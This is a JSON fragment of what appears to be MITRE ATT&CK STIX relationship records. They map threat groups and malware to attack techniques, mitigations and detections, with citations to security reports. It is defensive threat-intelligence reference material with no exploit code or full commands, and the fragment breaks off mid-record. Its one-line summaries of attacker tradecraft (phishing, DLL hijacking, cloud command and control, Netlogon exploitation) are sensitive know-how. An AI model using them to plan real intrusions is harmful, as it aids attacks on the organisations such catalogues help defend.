{"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f30598a2-f1bd-41da-874c-9b883d54790d", "type": "relationship", "created": "2021-10-13T22:50:48.783Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec WastedLocker June 2020", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us", "description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}], "modified": "2021-10-13T22:50:48.783Z", "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has attempted to get users to click on a malicious zipped file.(Citation: Symantec WastedLocker June 2020) ", "relationship_type": "uses", "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f308adef-2601-41b2-9da8-b785a7adf06c", "type": "relationship", "created": "2021-02-23T20:50:33.349Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SANS Conficker", "url": "https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm", "description": "Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021."}, {"source_name": "Trend Micro Conficker", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/conficker", "description": "Trend Micro. (2014, March 18). Conficker. Retrieved February 18, 2021."}], "modified": "2021-10-14T16:53:14.447Z", "description": "[Conficker](https://attack.mitre.org/software/S0608) variants used the Windows AUTORUN feature to spread through USB propagation.(Citation: SANS Conficker)(Citation: Trend Micro Conficker)", "relationship_type": "uses", "source_ref": "malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55", "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f309c2e1-779f-4ff4-b6b7-579aca478239", "type": "relationship", "created": "2021-03-25T13:55:30.701Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Google Election Threats October 2020", "url": "https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/", "description": "Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021."}, {"source_name": "Zscaler APT31 Covid-19 October 2020", "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}], "modified": "2021-03-25T14:49:34.844Z", "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used Dropbox for C2 allowing upload and download of files as well as execution of arbitrary commands.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f315cbb6-e49c-4820-99cb-262d36acf17f", "type": "relationship", "created": "2019-01-30T18:58:03.992Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", "source_name": "Unit42 Cannon Nov 2018"}], "modified": "2019-04-22T19:48:08.987Z", "description": "[Cannon](https://attack.mitre.org/software/S0351) can download a payload for execution.(Citation: Unit42 Cannon Nov 2018)", "relationship_type": "uses", "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f3182645-cd5b-43af-b1ec-c1fb9e15f2af", "created": "2024-01-22T18:42:31.586Z", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat Check Logs October 2023", "description": "Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-22T18:42:31.586Z", "description": "[LoFiSe](https://attack.mitre.org/software/S1101) can collect all the files from the working directory every three hours and place them into a password-protected archive for further exfiltration.(Citation: Kaspersky ToddyCat Check Logs October 2023)", "relationship_type": "uses", "source_ref": "malware--452da2d9-706c-4185-ad6f-f5edaf4b9f48", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f318a490-68df-41ee-864e-8611be36c442", "created": "2023-02-07T21:20:17.480Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Palo Alto Brute Ratel July 2022", "description": "Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.", "url": "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-08T18:32:29.561Z", "description": "[Brute Ratel C4](https://attack.mitre.org/software/S1063) has used search order hijacking to load a malicious payload DLL as a dependency to a benign application packaged in the same ISO.(Citation: Palo Alto Brute Ratel July 2022)", "relationship_type": "uses", "source_ref": "tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5", "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f32828b5-ab55-4bf5-af89-1d6e42d559b0", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT37 Feb 2018", "description": "FireEye. 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Retrieved May 13, 2020."}], "modified": "2021-04-27T19:53:20.412Z", "description": "[DustySky](https://attack.mitre.org/software/S0062) collects information about running processes from victims.(Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019)", "relationship_type": "uses", "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f33b1a88-1c1c-4ea4-a1b3-f1198012e728", "type": "relationship", "created": "2019-09-13T16:48:01.331Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019.", "url": "https://securelist.com/el-machete/66108/", "source_name": "Securelist Machete Aug 2014"}, {"description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "source_name": "ESET Machete July 2019"}], "modified": "2019-09-13T16:48:01.331Z", "description": "(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", "target_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f34e5f17-c0ac-4f1b-b45b-e6076e69721a", "type": "relationship", "created": "2020-12-17T19:47:24.727Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DOJ APT10 Dec 2018", "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion", "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019."}, {"source_name": "District Court of NY APT10 Indictment December 2018", "url": "https://www.justice.gov/opa/page/file/1122671/download", "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."}], "modified": "2020-12-28T15:33:58.586Z", "description": "[menuPass](https://attack.mitre.org/groups/G0045) has registered malicious domains for use in intrusion campaigns.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f35a3ca7-b916-4bc2-a493-613196b5d41e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/", "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", "source_name": "Unit 42 C0d0so0 Jan 2016"}], "modified": "2019-04-25T11:39:52.189Z", "description": "[APT19](https://attack.mitre.org/groups/G0073) launched an HTTP malware variant and a Port 22 malware variant using a legitimate executable that loaded the malicious DLL.(Citation: Unit 42 C0d0so0 Jan 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f35c994e-80a6-414a-ab81-1a2eb5fd0829", "type": "relationship", "created": "2021-12-06T16:01:16.339Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). 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Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T23:33:58.705Z", "description": "[SLOWPULSE](https://attack.mitre.org/software/S1104) can hide malicious code in the padding regions between legitimate functions in the Pulse Secure `libdsplibs.so` file.(Citation: Mandiant Pulse Secure Zero-Day April 2021)", "relationship_type": "uses", "source_ref": "malware--f8fc98ac-ad6d-44db-b6e2-f0c6eb4eace4", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f36141b8-5dd8-462d-bfc3-b43e179e955c", "type": "relationship", "created": "2020-02-21T20:32:21.106Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-18T21:27:48.384Z", "description": "Ensure proper process and file permissions are in place to prevent adversaries from disabling or interfering with security services.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f365854f-76e6-4746-bab8-2f2b94b50087", "type": "relationship", "created": "2019-06-20T15:39:37.694Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-25T18:13:18.680Z", "description": "Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification.", "relationship_type": "mitigates", "source_ref": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb", "target_ref": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f367b2fc-ea76-4fd4-9b90-049d95b4bc08", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", "description": "Settle, A., et al. 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Retrieved August 9, 2023.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-06T15:35:41.465Z", "description": "[FIN8](https://attack.mitre.org/groups/G0061) has deployed ransomware such as [Ragnar Locker](https://attack.mitre.org/software/S0481), White Rabbit, and attempted to execute Noberus on compromised networks.(Citation: Symantec FIN8 Jul 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f36a8899-940f-4c8f-924d-eef2f056744d", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TechNet Dsquery", "description": "Microsoft. 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Retrieved March 8, 2021."}], "modified": "2021-03-15T20:30:30.159Z", "description": "[GoldMax](https://attack.mitre.org/software/S0588) has impersonated systems management software to avoid detection.(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f3afa419-b741-4a1c-bb4d-569cde6ab558", "type": "relationship", "created": "2020-08-24T14:07:40.526Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET PipeMon May 2020", "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", "description": "Tartare, M. et al. (2020, May 21). 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Retrieved December 18, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Industroyer](https://attack.mitre.org/software/S0604) decrypts code to connect to a remote C2 server.(Citation: ESET Industroyer)", "modified": "2022-06-30T20:16:53.767Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--e401d4fe-f0c9-44f0-98e6-f93487678808", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f3d2f8a8-da3a-4635-90e5-95f6fee86a9c", "type": "relationship", "created": "2022-01-10T19:52:49.106Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevailion DarkWatchman 2021", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/", "description": "Smith, S., Stafford, M. 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Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. 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Retrieved September 10, 2020."}], "modified": "2020-09-11T13:27:44.784Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) can gather information about domain trusts by utilizing [Nltest](https://attack.mitre.org/software/S0359).(Citation: Fortinet TrickBot)(Citation: Cyberreason Anchor December 2019)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f4d1e337-60ba-4e28-89d1-ff206bae1750", "created": "2023-08-28T19:17:52.944Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-28T19:17:52.944Z", "description": "Ensure that a finite amount of ingress points to a software deployment system exist with restricted access for those required to allow and enable newly deployed software.", "relationship_type": "mitigates", "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f4d825cd-08d4-47ad-975c-37b886192e7c", "type": "relationship", "created": "2019-01-29T21:27:25.205Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT38 Oct 2018", "url": "https://content.fireeye.com/apt/rpt-apt38", "description": "FireEye. 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Setting the <code>timestamp_timeout</code> to 0 will require the user to input their password every time <code>sudo</code> is executed.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f5361de6-c729-4fe3-a37d-2d5ff95b31e2", "type": "relationship", "created": "2022-03-15T20:02:43.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}], "modified": "2022-03-15T20:02:43.855Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has added accounts to specific groups with <code>net localgroup</code>.(Citation: KISA Operation Muzabi)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f5362c13-271a-486c-8665-996367599fd8", "type": "relationship", "created": "2021-12-07T14:38:12.909Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. 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(Citation: Booz Allen Hamilton)", "relationship_type": "uses", "source_ref": "campaign--46421788-b6e1-4256-b351-f8beffd1afba", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f53f17c6-b2ad-4201-8a26-ef53565a61af", "created": "2022-09-27T19:59:46.884Z", "revoked": false, "external_references": [{"source_name": "DHS CISA AA22-055A MuddyWater February 2022", "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T19:59:46.884Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has exploited the Microsoft Netlogon vulnerability (CVE-2020-1472).(Citation: DHS CISA AA22-055A MuddyWater February 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f540a7ab-541a-44a5-8b6a-96b42b044d5b", "type": "relationship", "created": "2021-10-01T17:44:49.039Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity InkySquid RokRAT August 2021", "url": "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/", "description": "Cash, D., Grunzweig, J., Adair, S., Lancaster, T. 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(2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.", "source_name": "Re-Open windows on Mac"}], "modified": "2022-03-31T20:46:06.606Z", "description": "Holding the Shift key while logging in prevents apps from opening automatically.(Citation: Re-Open windows on Mac)", "relationship_type": "mitigates", "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", "target_ref": "attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f549bc1f-582d-41ce-b9f7-7c5a14f567d6", "type": "relationship", "created": "2022-03-30T14:26:51.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.839Z", "description": "Monitor for contextual data about an Internet-facing resource gathered from a scan, such as running services or ports that may compromise third-party infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "source_ref": "x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da", "target_ref": "attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f54cba45-e641-49e0-b015-b5f6f8a05002", "created": "2019-05-30T17:23:30.514Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Korean FSI TA505 2020", "description": "Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. Retrieved July 14, 2022.", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}, {"source_name": "Proofpoint TA505 Mar 2018", "description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T16:54:26.083Z", "description": "[FlawedAmmyy](https://attack.mitre.org/software/S0381) enumerates the privilege level of the victim during the initial infection.(Citation: Proofpoint TA505 Mar 2018)(Citation: Korean FSI TA505 2020)", "relationship_type": "uses", "source_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f54ce1d1-519a-417a-b2f5-6132d9690631", "created": "2024-03-26T19:31:35.510Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "CISA Scattered Spider Advisory November 2023", "description": "CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.", "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}, {"source_name": "Crowdstrike TELCO BPO Campaign December 2022", "description": "Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.", "url": "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-29T15:00:28.645Z", "description": "During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) used access to the victim's Azure tenant to create Azure VMs.(Citation: Crowdstrike TELCO BPO Campaign December 2022)\n\n[Scattered Spider](https://attack.mitre.org/groups/G1015) has also created Amazon EC2 instances within the victim's environment.(Citation: CISA Scattered Spider Advisory November 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b", "target_ref": "attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f54d4ca7-940d-4cf2-b02d-df9b5bfb643e", "created": "2023-09-13T20:14:58.194Z", "revoked": false, "external_references": [{"source_name": "Morphisec Snip3 May 2021", "description": "Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.", "url": "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-13T20:14:58.194Z", "description": "[Snip3](https://attack.mitre.org/software/S1086) can obfuscate strings using junk Chinese characters.(Citation: Morphisec 